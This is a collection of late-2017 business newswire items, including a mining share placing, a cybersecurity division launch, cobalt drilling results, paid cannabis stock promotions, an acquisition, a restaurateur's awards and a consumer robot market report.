Any participation by directors or officers of the Company, any insider or subsidiary of the Company or a person or company that beneficially owns or controls, directly or indirectly, 10% or more of the Existing Shares (an "Insider") in the Placing will be considered a 'related party transaction' pursuant to Multilateral Instrument 61-101 - Protection of Minority Security Holders in Special Transactions ("MI 61-101"). The Company intends to rely upon the exemptions in sections 5.5(a) and 5.7(a) of MI 61-101 from the requirements to obtain a formal valuation and minority shareholder approval in connection with any Insider's participation in the Placing, as neither the fair market value of the subject matter of, nor the fair market value of the consideration for, the Placing Shares, insofar as it will involve Insiders, will exceed 25% of the Company's market capitalization (calculated in accordance with MI 61-101).

The Company expects to rely upon section 602.1 of the TSX Company Manual in connection with the Placing, which exempts the Company from, among other things, obtaining shareholder approval under sections 604(a)(ii) and 607(g)(ii) of the TSX Company Manual, on the basis that the Placing is being completed in accordance with the standards of AIM and the volume of trading of the Ordinary Shares on all Canadian marketplaces in the 12 months immediately preceding the date of the application by the Company to the TSX for conditional approval of the Placing was less than 25%.

Total Voting Rights

Following completion of the UK Placing and Admission of the 200,000,000 Placing Shares issued pursuant to the UK Placing, the Company's issued share capital will comprise 1,371,934,300 ordinary shares of the Company, all carrying voting rights. This figure (1,371,934,300) may be used by shareholders as the denominator for the calculations by which they will determine if they are required to notify their interest in, or a change to, their interest in the Company under the UK Financial Conduct Authority's Disclosure Guidance and Transparency Rules.

This announcement contains inside information for the purposes of Article 7 of EU Regulation 596/2014.

About Horizonte Minerals:

Horizonte Minerals plc is an AIM and TSX-listed nickel development company focused in Brazil, which wholly owns the advanced Araguaia nickel laterite project located to the south of the Carajas mineral district of northern Brazil. The Company is developing Araguaia as the next major nickel mine in Brazil, with targeted production by 2021.

The Project has good infrastructure in place including rail, road, water and power.

Horizonte has a strong shareholder structure including Teck Resources Limited 17.9%, Richard Griffiths 10.9%, Lombard Odier Asset Management (Europe) Limited 10.4%, Hargreave Hale 8.6%, JP Morgan 8.4%, and Glencore 6.4%.

CAUTIONARY STATEMENT REGARDING FORWARD LOOKING INFORMATION

Except for statements of historical fact relating to the Company, certain information contained in this press release constitutes "forward-looking information" under Canadian securities legislation. Forward-looking information includes, but is not limited to, the ability of the Company to complete the Acquisition as described herein, statements with respect to the potential of the Company's current or future property mineral projects; the success of exploration and mining activities; cost and timing of future exploration, production and development; the estimation of mineral resources and reserves and the ability of the Company to achieve its goals in respect of growing its mineral resources; the ability of the Company to complete the Placing as described herein, and the realization of mineral resource and reserve estimates. Generally, forward-looking information can be identified by the use of forward-looking terminology such as "plans", "expects" or "does not expect", "is expected", "budget", "scheduled", "estimates", "forecasts", "intends", "anticipates" or "does not anticipate", or "believes", or variations of such words and phrases or statements that certain actions, events or results "may", "could", "would", "might" or "will be taken", "occur" or "be achieved".

Forward-looking information is based on the reasonable assumptions, estimates, analysis and opinions of management made in light of its experience and its perception of trends, current conditions and expected developments, as well as other factors that management believes to be relevant and reasonable in the circumstances at the date that such statements are made, and are inherently subject to known and unknown risks, uncertainties and other factors that may cause the actual results, level of activity, performance or achievements of the Company to be materially different from those expressed or implied by such forward-looking information, including but not limited to risks related to: the inability of the Company to complete the Acquisition as described herein, exploration and mining risks, competition from competitors with greater capital; the Company's lack of experience with respect to development-stage mining operations; fluctuations in metal prices; uninsured risks; environmental and other regulatory requirements; exploration, mining and other licences; the Company's future payment obligations; potential disputes with respect to the Company's title to, and the area of, its mining concessions; the Company's dependence on its ability to obtain sufficient financing in the future; the Company's dependence on its relationships with third parties; the Company's joint ventures; the potential of currency fluctuations and political or economic instability in countries in which the Company operates; currency exchange fluctuations; the Company's ability to manage its growth effectively; the trading market for the ordinary shares of the Company; uncertainty with respect to the Company's plans to continue to develop its operations and new projects; the Company's dependence on key personnel; possible conflicts of interest of directors and officers of the Company, the inability of the Company to complete the Placing on the terms as described herein, and various risks associated with the legal and regulatory framework within which the Company operates.

Although management of the Company has attempted to identify important factors that could cause actual results to differ materially from those contained in forward-looking information, there may be other factors that cause results not to be as anticipated, estimated or intended. There can be no assurance that such statements will prove to be accurate, as actual results and future events could differ materially from those anticipated in such statements.

Contacts:

Horizonte Minerals plc

Jeremy Martin (CEO) / David Hall (Chairman)

+44 (0) 20 7763 7157

www.horizonteminerals.com



Numis Securities Limited (Broker to the Placing)

John Prior / James Black / Paul Gillam

+44 (0)207 260 1000



finnCap Ltd (NOMAD & Joint Broker)

Christopher Raggett / James Thompson /

Anthony Adams / Emily Morris

+44 (0) 20 7220 0500



Shard Capital (Joint Broker)

Damon Heath / Erik Woolgar

+44 (0) 20 7186 9952



Tavistock (Financial PR)

Jos Simson / Barney Hayward

+44 (0) 20 7920 3150




Antuit Holdings Pte Ltd ("Antuit"), a global analytics company backed by Goldman Sachs, today announced the launch of its new cybersecurity division, CYFIRMA.

Recognizing that cybersecurity was one of the most significant applications of its big data analytics specialty, Antuit expanded into the space in early 2016. CYFIRMA, which offers market-leading cyberthreat visibility products and services, was created in response to the rapidly growing demand for Antuit's cybersecurity solutions.

Powered by artificial intelligence (AI) and machine learning, CYFIRMA's flagship platform delivers comprehensive, real-time insights into emerging cyberthreats, attack motives and methods-customized to a client's industry and IT environment. CYFIRMA's threat intelligence predicts and simulates potential security breaches before they occur, enabling clients in 2017 to evade compromise by WannaCry, Petya, Bad Rabbit and other significant cyberbreaches.

"CYFIRMA helps companies optimise their security posture and better allocate often limited security resources, talent and funds," said Shiong Tan, Antuit COO and co-founder and head of the new division. "The market pain point has moved very quickly from creating a functional security posture to maintaining it against well-funded, constantly evolving enemies. CYFIRMA's products and services significantly reduce security risks while lowering overall security costs, making information available every day to clients for optimal security governance and control configuration."

With CYFIRMA products, clients can better keep pace with malicious threat actors, anticipate breaches and prioritize actions to neutralize risks. "In 20 years of close involvement with cyberthreat investigation and analysis, I have never seen such a rapid escalation and sophistication in type and level of attacks as in the last few years," said Kumar Ritesh, co-founder and CTO of CYFIRMA.

"To effectively manage cyber risk, organizations have no choice but to more fully understand the cybercriminals they are up against," Ritesh continued. "There is now a clear requirement for improved application of contextual cyberthreat intelligence to a company's overall cybersecurity posture-including its strategic, management and technical layers-not just its tactical security controls."

CYFIRMA clients gain a greater level of understanding about their cyber "enemies" than ever before, Tan noted. "CYFIRMA is a natural extension of Antuit's analytics expertise, and we are delighted to launch this new division."

About CYFIRMA

CYFIRMA defends against cyberattacks by supplying organizations with real-time threat intelligence that enables them to take a more proactive security approach. By aggregating, correlating and analyzing information from hundreds of thousands of sources on the open and dark web, CYFIRMA helps clients anticipate what types of attacks are most likely to occur and provide the most effective response.

Shiong Tan, co-founder and head of CYFIRMA, also serves as the COO, CFO and board director of Antuit Group. He spearheaded Antuit's successful entrance into the cybersecurity space and designed the company's threat intelligence platform with Kumar Ritesh. Tan has spent nearly two decades investing in and transforming businesses as a private equity and venture capital investor. He is passionate about leveraging artificial intelligence to create a digitally secure future for everyone.

Co-founder and CYFIRMA CTO Kumar Ritesh is one of the world's pre-eminent cybersecurity experts, with leadership experience spanning the public and private sectors. He has a strong track record of developing successful cybersecurity strategies, products, policies, standards and solutions, in addition to running complex IT security programs. Previously, Ritesh was head of cybersecurity at BHP Billiton; he also held various technical and consulting roles at PWC, IBM and at a government intelligence agency.

About Antuit

Antuit's advanced analytics platforms and solutions help companies around the world predict, shape and fulfill demand. Combining domain expertise and proprietary technologies, Antuit delivers revenue and margin growth, improved supply chain efficiency and increased customer satisfaction.

For more information visit www.antuit.com and follow us on:

Linkedin: https://www.linkedin.com/company/antuit/

Twitter: https://twitter.com/antuitanalytics

Facebook: https://www.facebook.com/Antuit/

View source version on businesswire.com: http://www.businesswire.com/news/home/20171219005706/en/

Contacts:

Antuit

Erica Saperstein, 617-477-7538

Erica.saperstein@antuit.com
Vancouver, British Columbia--(Newsfile Corp. - January 16, 2018) - Power Americas Minerals Corporation (TSXV: PAM) (FSE: VV0) ("Power Americas" or the "Company") is pleased to announce the results of their ultralight diamond drilling program on their Kittson-Cobalt Project, located in the prolific Cobalt Silver Camp in Northeast Ontario, Canada.

A total of seven shallow drill holes, totaling 161m, of BTW-size core were drilled beneath overburden-filled historic workings in the Shakt-Davis mine area. The program successfully intersected the fracture zone that hosts the Shakt-Davis mineralization over a strike length of 55 metres and to a maximum depth of 30 metres. The fracture zone ranged from 5 to 13 metres wide (drilled core length) and hosted several 0.1 - 1.0 metre quartz-carbonate veins surrounded by intense carbonate alteration. Fracture- and vein-controlled cobalt mineralization in the form of smaltite and erythrite ("cobalt bloom") occurred throughout this zone with values as high as 1.62% Co over 0.3 metres. A full list of significant intersections is provided in Table 1. below. Drill Location maps and cross sections can be found on the Company's website by following: "Click here to view maps and cross sections."

Table 1. Diamond Drilling Highlights.

Hole

Number From

(m) To

(m) Width*

(m) Co

wt.% Au

g/t Ag

g/t Cu

wt.% Ni

wt.% KIT-17-001 8.77 9.07 0.30 1.62 0.029 1.40 0.01 0.18 KIT-17-002 12.15 14.78 2.63 0.14 0.005 0.01 0.02 0.01 KIT-17-003 7.36 8.7 1.34 0.25 0.007 0.34 0.03 0.03 KIT-17-004 Hole abandoned before target depth





KIT-17-005 No Significant Results







KIT-17-006 11 12.2 1.50 0.46 0.012 0.20 0.04 0.05 And 18.32 19.35 1.03 0.12 0.109 0.01 0.00 0.02 KIT-17-007 15.72 16.6 0.88 0.37 0.009 0.60 0.02 0.06

*All reported widths are drilled core lengths.

Commenting on the latest results, Jeffrey Cocks, President and CEO said: "We're highly encouraged by this initial drill program. These results represent the first drilling since the 1940's at the Shakt-Davis mine and confirms the cobalt-rich nature of this extensive fracture zone. The fracture zone which hosts the Shakt-Davis mine is related to those which also host the Kittson and Edison mines to the north and east, respectively, cumulatively representing over 3km of strike length."

Mobilization and final planning of a follow up 2000 metre diamond drill program with a larger drill rig is currently underway, with drilling expected to begin by the end of January. The purpose of the winter drill program is to further test this mineralization at greater depths at Shakt-Davis and to test the northern extension of the Edison Mine. Further results will be released as they become available.

Sample Analysis and QA/QC



Split core samples were analysed for base metals including Co, Cu, Ni, Pb, and Zn among others, along with Au and Ag at Activation Laboratories in Thunder Bay, Timmins, and Ancaster, depending on the analytical package. The analytical codes used include 1A2-Au-50g (fire assay/AAS), 1E-Ag (aqua regia digest/ICP-OES), and 8-peroxide (Na 2 O 2 digest/ICP-OES). Standards and blanks were inserted into the sample stream every 20 samples. The Co-bearing standard used in this program was sourced from CDN Resource Laboratories Ltd. of Langley, British Columbia.

About the Kittson-Cobalt Project



The Project is located near the town of Cobalt in northeast Ontario, Canada. The Project hosts the historic Shakt-Davis and Cobalt-Kittson mines, as well as numerous historic workings, the deepest extending down to 628 feet, and over 2,500 feet of lateral workings. Cobalt mineralization occurs in Proterozoic-aged quartz-carbonate veins hosted in brittle shears in Nipissing diabase. This style of mineralization is similar to that of the famous Cobalt Silver Camp Located ~15 km east of the Property, which produced 420 million ounces of silver with cobalt as a significant by-product. Veins hosting the mineralization at the Kittson-Cobalt Project differ from the typical Cobalt Silver Camp veins in that they are lower in silver but richer in cobalt, and are associated with significant gold. Historic reports from the Shakt-Davis mine indicate values of 1.5% Co over 1.37 metres and select grab samples returning up to 4% Co and 93.3 g/t Au. Locally significant nickel, copper and to a lesser extend lead, zinc and bismuth also occur within the quartz-carbonate veins.

About Power Americas Mineral Corp.

Power Americas Minerals Corporation is a Canadian-based junior mining exploration company focused on the procurement, exploration and development of cobalt, lithium and other energy metals in North and South America. Power Americas' acquisition strategy focuses on acquiring affordable, cost-effective and highly regarded mineral properties in areas with proven geological potential. The Company's shares are listed and posted for trading on the TSX Venture Exchange under the symbol "PAM", the OTC Pinks under the symbol "PWMRF", and on the Frankfurt Exchange under the symbol "VV0".

The technical content of this news release has been reviewed and approved by Neil Pettigrew, M.Sc., P.Geo., Vice President of Exploration and a director of the Company, and a Qualified Person as defined by National Instrument 43-101.

On behalf of the Board of Directors:



"Jeffrey Cocks"

Jeffrey Cocks

President



For more information please contact:

Howard Milne V.P. Business Development

Tel: (604) 377-8994Email:hdmcap@shaw.ca

Website: www.poweramericascorp.com

Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.
Seattle, Washington--(Newsfile Corp. - December 19, 2017) - CFN Media Group ("CannabisFN"), the leading creative agency and media network dedicated to legal cannabis, announces publication of an article covering The Hydropothecary Corporation's (TSXV: THCX) recently announced expansion plans, unique advantages in the industry, and its progress in developing and launching award-winning products into the market.

There are more than 70 licensed producers approved by Health Canada, with roughly 30 approved to sell and produce marijuana, but not all licensed producers are the same. While some are focused on scaling up operations to meet recreational demand, others are focused on developing medical therapeutics or innovative products that could boost margins over the long-run. The Hydropothecary Corporation represents a mix of the two.

Newly Acquired Land

The Hydropothecary Corporation recently announced the acquisition of 78 acres of land adjacent to its existing 65 acre facility in Gatineau, QC. The company plans to build a new 1 million sq. ft. greenhouse on the land, which management expects to be completed by December 2018. This new expansion will increase its production capacity to 108,000 kilograms of dried cannabis per year.

"Hydropothecary is boldly stepping forward to take the lead in the Canadian cannabis industry," said Co-Founder and CEO Sebastien St-Louis. "With our expansion, we are moving into industrial agri-nomics, robotic technology, fully automated systems, and the cannabis plant as a THC bioreactor. Once legalization of the adult-use recreational market becomes a reality, Hydropothecary will be ready."

The cost of the expansion project is estimated to be $80 million, which will be fully-funded through the company's treasury. Once completed, the company will become one of the largest licensed producers of medical cannabis in Canada. This, in addition to being the only licensed producer in Quebec to be headquartered in Quebec (there are only two licensed producers in the province. With a population of 8.4 million, Quebec is the second most populous Canadian province after Ontario. Among the many unique attributes of the province's inhabitants is a well known preference for local products and businesses.

Current Expansion is On-Schedule

Hydropothecary's current project - a 250,000 sq. ft. greenhouse complex - is on budget and on time. After breaking ground on October 12, the company expects to complete the facility by July 2018. This expansion that will increase its overall facility size to 300,000 sq. ft. and boost its annual production capacity to 25,000 kg per year. The facility is fully-funded by its cash on hand.

Focus on innovation

During fiscal 2017, the company shipped 404,158 grams of medical cannabis and generated $4.1 million in revenue. The company also completed a new 35,000 sq. ft. greenhouse that increased its production capacity from 600 kg per year to 3,600 kg per year and launched three new product offerings. These products included Decarb - a novel, pre-activated cannabis capsule - and Elixir No. 1 - Canada's only sublingual cannabis oil spray.

In addition to being one of the Canada's top producers of cannabis, Hydropothecary is also focused on product development and innovation. In response to the demands of its clients and the experiences of US states where cannabis is legal, the company has targeted the development of delivery systems that do not require smoking of cannabis flower.

In December 2017, Hydropothecary's focus was acknowledged by its industry peers at the inaugural Canadian Cannabis Awards, where the company's Decarb and Elixir products were awarded the Best New Cannabis Product. Decarb took first place for its innovative ready-to-consume nature, while Elixir was awarded third place as the only peppermint based medical cannabis oil sublingual mist on the market. Hydropothecary was among more than 800 guests, including licensed producers, industry representatives, and members of the investment community.

Looking Ahead

The combination of low cost, innovative products, an excellent location, and high scalability make The Hydropothecary Corporation (TSX-V: THCX) an attractive opportunity in Canada's burgeoning market, particularly as the company looks to dramatically expand its production footprint.

Please follow the link to read the full article: http://www.cannabisfn.com/hydropothecary-increasing-production-capacity-108000-kilograms-construction-completed-year-end-2018/

For more information, visit the company's investor website at www.thcx.com.

About CFN Media

CFN Media (CannabisFN) is the leading creative agency and media network dedicated to legal cannabis. We help marijuana businesses attract investors, customers (B2B, B2C), capital, and media visibility. Private and public marijuana companies and brands in the US and Canada rely on CFN Media to grow and succeed.

Learn how to become a CFN Media client company, brand or entrepreneur: http://www.cannabisfn.com/become-featured-company/

Download the CFN Media iOS mobile app to access the world of cannabis from the palm of your hand: https://itunes.apple.com/us/app/cannabisfn/id988009247?ls=1&mt=8

Or visit our homepage and enter your mobile number under the Apple App Store logo to receive a download link text on your iPhone: http://www.cannabisfn.com

Disclaimer:

Except for the historical information presented herein, matters discussed in this release contain forward-looking statements that are subject to certain risks and uncertainties that could cause actual results to differ materially from any future results, performance or achievements expressed or implied by such statements. Emerging Growth LLC, which owns CFN Media and CannabisFN.com, is not registered with any financial or securities regulatory authority, and does not provide nor claims to provide investment advice or recommendations to readers of this release. Emerging Growth LLC may from time to time have a position in the securities mentioned herein and may increase or decrease such positions without notice. For making specific investment decisions, readers should seek their own advice. Emerging Growth LLC may be compensated for its services in the form of cash-based compensation or equity securities in the companies it writes about, or a combination of the two. For full disclosure please visit: http://www.cannabisfn.com/legal-disclaimer/

Contact

CFN Media

Frank Lane

206-369-7050

flane@cannabisfn.com
Seattle, Washington--(Newsfile Corp. - December 19, 2017) - CFN Media Group ("CannabisFN"), the leading creative agency and media network dedicated to legal cannabis, announces publication of an article discussing Phivida Holdings Inc. (CSE: VIDA) and its unique approach to developing a wide range of cannabidiol (CBD) products across several market segments. The company begins trading today, December 19, on the Canadian Securities Exchange under the ticker symbol VIDA.

The cannabidiol industry is projected to top $2 billion in revenue by 2020, according to the Hemp Business Journal, which represents a 700% increase over the prior years. While the wider cannabis industry is poised to exceed $50 billion, the market for CBD-based products represents the fastest growing subset of the industry. Researchers have also become increasingly interested in the cannabinoid's therapeutic potential.

CBDs Show Strong Potential

Researchers have become increasingly interested in CBDs since Charlotte's Web became widely popular for treating childhood epilepsy. According to Google Scholar, there have been more than 2,000 papers published about CBD this year alone. Many companies have also become increasingly interested in the therapeutic potential for the cannabinoid, as evidenced by the more than 1,600 U.S. patents that have been issued mentioning CBD.

The strong interest in CBD research has also fueled increasing demand among consumers for over-the-counter CBD products. Google Trends shows a significant increase in search activity for terms like "CBD oil" as consumers seek out supplements to improve their health. Most of this demand comes from the United States, Canada, and certain parts of Europe, and the growth in search traffic and interest has shown no signs of abating.

In addition to interest in CBD, the wider functional food and beverage industry continues to capture market share from traditional beverage products like soft drinks. Consumers are seeking healthier options to conventional beverages that contain sugar or artificial sweeteners, which includes iced teas, vitamin waters, and related products. CBD products could play a big role in this emerging category as researchers continue to uncover their benefits.

Last month, the Canadian government officially legalized cannabinoid-infused foods and beverages across the country. The news comes shortly after the beverage giant Constellation Brands announced a 9.9% investment in Canopy Growth Corp., a leading licensed producer of medical cannabis in Canada. The move supports both the CBD and THC sides of the cannabis industry and opens the door to further investment.

The World Anti-Doping Agency (WADA) also removed CBD from its Prohibited Substances List as of January 1, 2018. This means that athletes around the world can benefit from the anti-inflammatory, antioxidant, and neuroprotective benefits of CBD supplements without worrying about consequences from antiquated cannabinoid laws. The use of CBD supplements by athletes could also generate more widespread awareness of the benefits.

Consumer CBD Products

Phivida - which combines "Phi" (the golden ratio) with "Vida" (the philosophy of valuing happiness) - is focused on developing all-natural, whole-plant products that provide consumers with access to the benefits of CBDs in the most palatable way.

The company has pioneered innovative consumer CBD products, including sweet iced teas, vitamin juices, and vitamin shots, that make the cannabinoid much more accessible to the average person than raw oils. In addition to its consumer line, the company has developed clinical CBD oil tinctures for integrated healthcare professionals to dispense to their patients and wholesale CBD oil products to support the industry's growth.

By focusing on these markets, the company provides investors with exposure to both the rapidly growing market for CBD supplements and the rapidly growing functional food and beverage industry.

Phivida recently closed an oversubscribed IPO - without the use of a reverse takeover or shell company. The company initiates trading today on the Canadian Securities Exchange under the ticker symbol "VIDA". This means that investors have access to a very clean cap table and company with a unique approach to the industry.

Looking Ahead

Phivida Holdings Inc. (CSE: VIDA) represents a compelling opportunity within the burgeoning CBD industry with consumer, healthcare-focused, and wholesale product lines. Recent acceptance of CBD by both the Canadian government and the WADA bodes well for further growth in the industry. Meanwhile, today's IPO is the first full prospective IPO in the Canadian cannabis industry and appears well positioned for near-term growth.

Please follow the link to read the full article: http://www.cannabisfn.com/phivida-goes-public-today-looks-become-leader-hemp-based-cbds/

For more information, visit the Phivida's website.

About CFN Media

CFN Media (CannabisFN) is the leading creative agency and media network dedicated to legal cannabis. We help marijuana businesses attract investors, customers (B2B, B2C), capital, and media visibility. Private and public marijuana companies and brands in the US and Canada rely on CFN Media to grow and succeed.

Learn how to become a CFN Media client company, brand or entrepreneur: http://www.cannabisfn.com/featuredcompany

Download the CFN Media iOS mobile app to access the world of cannabis from the palm of your hand: https://itunes.apple.com/us/app/cannabisfn/id988009247?ls=1&mt=8

Or visit our homepage and enter your mobile number under the Apple App Store logo to receive a download link text on your iPhone: http://www.cannabisfn.com

Disclaimer:

Except for the historical information presented herein, matters discussed in this release contain forward-looking statements that are subject to certain risks and uncertainties that could cause actual results to differ materially from any future results, performance or achievements expressed or implied by such statements. Emerging Growth LLC, which owns CFN Media and CannabisFN.com, is not registered with any financial or securities regulatory authority, and does not provide nor claims to provide investment advice or recommendations to readers of this release. Emerging Growth LLC may from time to time have a position in the securities mentioned herein and may increase or decrease such positions without notice. For making specific investment decisions, readers should seek their own advice. Emerging Growth LLC may be compensated for its services in the form of cash-based compensation or equity securities in the companies it writes about, or a combination of the two. For full disclosure please visit: http://www.cannabisfn.com/legal-disclaimer/

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flane@cannabisfn.com
This news release contains forward-looking statements within the meaning of the Securities Litigation Reform Act. The statements reflect the Company's current views with respect to future events that involve risks and uncertainties. Among others, these risks include the expectation that any of the companies mentioned herein will achieve significant sales, the failure to meet schedule or performance requirements of the companies' contracts, the companies' liquidity position, the companies' ability to obtain new contracts, the emergence of competitors with greater financial resources and the impact of competitive pricing. In the light of these uncertainties, the forward-looking events referred to in this release might not occur. These statements have not been evaluated by the Food and Drug Administration. These products are not intended to diagnose, treat, cure, or prevent any disease.

DALLAS, TX / ACCESSWIRE / December 19, 2017 / North American Cannabis Holdings, Inc. (OTC PINK: USMJ) with Puration, Inc. (OTC PINK: PURA) will post a presentation on aciconglomerated.com later this morning providing an update on the two companies coordinated efforts to be prepared for operations in Canada in conjunction with Canada's upcoming nationwide recreational marijuana legalization. North American Cannabis Holdings is in ongoing acquisition negotiations that include a role where Puration would provide its extraction expertise. Puration has separately announced introducing Cannabis infused beverages in Canada. Look for the presentation later this morning to get the latest updates on the two companies' progress in Canada.

Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.
WASHINGTON (dpa-AFX) - Crown Holdings Inc. (CCK) said that it agreed to acquire Signode Industrial Group Holdings (Bermuda) Ltd., a provider of transit packaging systems and solutions, from The Carlyle Group, in a cash transaction valued at $3.91 billion subject to customary closing adjustments. The acquisition is expected to close during the first quarter of 2018 and to significantly increase free cash flow. Debt financing has been fully committed in support of the transaction. With pro forma sales and adjusted EBITDA of $2.3 billion and $384 million, respectively, for the twelve months ended November 30, 2017, Signode is the world's leading supplier of transit packaging systems and solutions, which consist of strap, stretch and protective packaging consumables and the application equipment and tooling for each. Copyright RTT News/dpa-AFX

Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.
Andy Marshall, proprietor of Pucketts Gro. and Restaurant in downtown Chattanooga and 11 other restaurant and hospitality concepts across the state, has been recognized by Middle Tennessee State Universitys Jones College of Business and the Tennessee Hospitality and Tourism Association for his commitment to service in the community and the hospitality industry.

Mr. Marshall was named a 2017 recipient of the Joe M. Rodgers Spirit of America Award, presented by his alma mater. Named for a former United States ambassador, businessman and the inaugural holder of the Jennings A. Jones Chair of Excellence in Free Enterprise in the Jones College of Business, the award is presented to an individual who has demonstrated the highest ideals in keeping with the American spirit of innovation, entrepreneurship and commitment to others.

Nominations for the Spirit of America award are solicited from the executive leadership in the Jones College of Business, with the final selection made by the dean of the College of Business, Dr. David Urban.

Andy has made many contributions to the growth of the middle Tennessee area, Dr. Urban said. His tireless work in building his business, including the recent opening of Pucketts Gro. and Hattie Janes Creamery in Murfreesboro, is making a huge impact on regional economic development. The students at the Jones College -- especially those students in our Entrepreneurship program -- can learn a great deal from him.

Mr. Marshall was also named the Tennessee Hospitality & Tourism Associations 2017 Restaurateur of the Year at the organizations annual Stars of the Industry gala event, held at the Gatlinburg Convention Center. These prestigious awards honor those who have made notable contributions to the hospitality and tourism industry in Tennessee and demonstrate strong character, work ethic and leadership ability in their careers.

With more than 1,800 members, the non-profit TnHTA represents the interests of the states lodging, dining and tourism establishments and businesses related to the hospitality and tourism industry. Mr. Marshall sits on the TnHTA board as chair of the government relations committee.

Andy Marshall is an integral piece of the fabric of Tennessees hospitality and tourism industry, said TnHTA President and CEO Greg Adkins. His commitment to business excellence in his home state continues to bring visitors to Tennessee and serves as an inspiration for other entrepreneurs in the industry.

Just last week, Mr. Marshall was presented with the state-level Friend of Extension award from Epsilon Sigma Phi, a national leadership organization which governs the local and statewide extensions of state universities agriculture branches. The Friend of Extension award is the highest honor presented to a non-Extension member.

Mr. Marshall received the award at the ESP Tennessee Omega Chapter 2017 State Meeting. He was recognized for his longstanding partnership with the University of Tennessee Extension in Williamson County and his contributions to growing the understanding and appreciation for agriculture in Tennessee through his restaurant and hospitality business across the state.

The awards come on the heels of A. Marshall Family Foods grand opening of its twelfth concept, Deacons New South in Downtown Nashville. In addition to Deacons and Pucketts in Chattanooga, the company owns and operates Pucketts locations in downtown Franklin, downtown Nashville, downtown Columbia and downtown Murfreesboro, Tenn.; Pucketts Boat House, a Southern seafood concept and Scouts Pub, a modern, upscale pub, both in Franklin; Pucketts Trolley; Homestead Manor, a multi-layer historic property that boasts an on-site restaurant, farm and event venue; and two locations of Hattie Janes Creamery, a small-batch, artisan ice cream shop in Columbia and Murfreesboro, Tenn.

Mr. Marshall has also received several awards on the local level this year, including the Boys & Girls Clubs Tennessee Area C.A.R.E Award, presented to him at the organizations Council luncheon in September. The award, which stands for Children Are the Reason for Excellence, annually honors someone with outstanding leadership and dedicated service to youth in his or her community.

In 2017, the Nashville Business Journal recognized Mr. Marshall as one of Nashvilles Most Admired CEOs for the fourth year in a row. A. Marshall Family Foods has more than 700 employees and has been named to the Inc. 5000 list of Americas Fastest Growing Companies in 2014, 2015, 2016 and 2017. To learn more about A. Marshall Family Foods, including career opportunities, visit www.amarshallfamilyfoods.com.
The company has also been granted a licence for the deployment of 12 MW of storage in the Netherlands.Dutch power provider, Nuon has a 200 MW PV project pipeline in the Netherlands, according to a press release from its parent company, Sweden's electric utility, Vattenfall. Nuon, which has specialized in the development of wind power projects over the past years, said that solar projects can be implemented more quickly than wind projects, and that a co-location of both technologies is "many times a great idea". No details, however, were provided on the 200 MW solar project pipeline. It is very likely, however, that these projects are currently being developed under Netherlands' SDE+ program for large-scale renewable energy projects. The ...

Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.
DUBLIN, Dec. 19, 2017 /PRNewswire/ --

The "Consumer Robot Market - Industry Trends, Opportunities and Forecasts to 2023" report has been added to Research and Markets' offering.

Consumer robot market is projected to witness a CAGR of 22.35% during the forecast period to reach a total market size of US$14.911 billion by 2023, increasing from US$5.438 billion in 2018.



The declining price of personal robot owing to rapidly growing competition in market drives the adoption of consumer robot while augmenting its market growth. In addition, the growing demand for homecare owing to rapidly aging population and rising prevalence of diseases further propel the consumer robot market growth.



Growing spending power of consumers and increasing need for convenience, especially in developed countries, is another major factor contributing to the growing consumer robot market. Other drivers include growing the rise in security threat, high speed innovation and growing number of players. However, the performance issue might hold back the market growth. High speed innovation is expected to augment the consumer robot market growth over the projected period.



By application, the service segment accounts for a considerate market share in 2017 and is expecting a high growth over the projected period. This growth is largely driven by the rapidly aging population who demand at-home healthcare services. In addition, product innovation and extension by the players is expected to propel the demand for consumer robot for homecare application.



For instance, in March 2016, Hacoma launched a robot called Andago in U.S.A which aims to provide gait training. Likewise, the security and surveillance segment is also expecting a high growth in years ahead owing to growing threat to security and exponentially growth in adoption of personal drone. The increasing adoption of robots for cleaning purpose, especially in North America, contributes to the market share of housekeeping segment.



Global consumer robot market is high competition owing to the presence of well-diversified regional and international players. Moreover, the market growth is attracting new players in the market which further propel the competitive rivalry. The major players discussed in the report include iRobot Corporation, Jibo, Inc., 3D Robotics, Inc., Honda Motor Co., Ltd., Bossa Nova Robotics, DJI, and SoftBank Group. The players are focusing on delivering low-cost product in order to enhance their market.



Segmentation



By Component

Software

Hardware

Sensor

Control System

Actuator

Others

By Type

Autonomous

Semi-Autonomous

By Application

Entertainment

Security and Surveillance

Education

Telepresence

Service

Others



Key Topics Covered:



1. Introduction



2. Research Methodology



3. Key Findings Of The Study



4. Market Dynamics



5. Global Consumer robot Market Forecast By Type (US$ billion)



6. Global Consumer robot Market Forecast By Type (US$ billion)



7. Global Consumer robot Market Forecast By Application (US$ billion)



8. Global Consumer robot Market Forecast By Geography (US$ billion)



9. Competitive intelligence



10. Company profiles



iRobot Corporation

Jibo, Inc.

3D Robotics, Inc.

Honda Motor Co., Ltd.

Bossa Nova Robotics

DJI

SoftBank Group

For more information about this report visit https://www.researchandmarkets.com/research/qnzcw9/global_consumer?w=5



Media Contact:

Research and Markets

Laura Wood, Senior Manager

press@researchandmarkets.com



For E.S.T Office Hours Call +1-917-300-0470

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For GMT Office Hours Call +353-1-416-8900



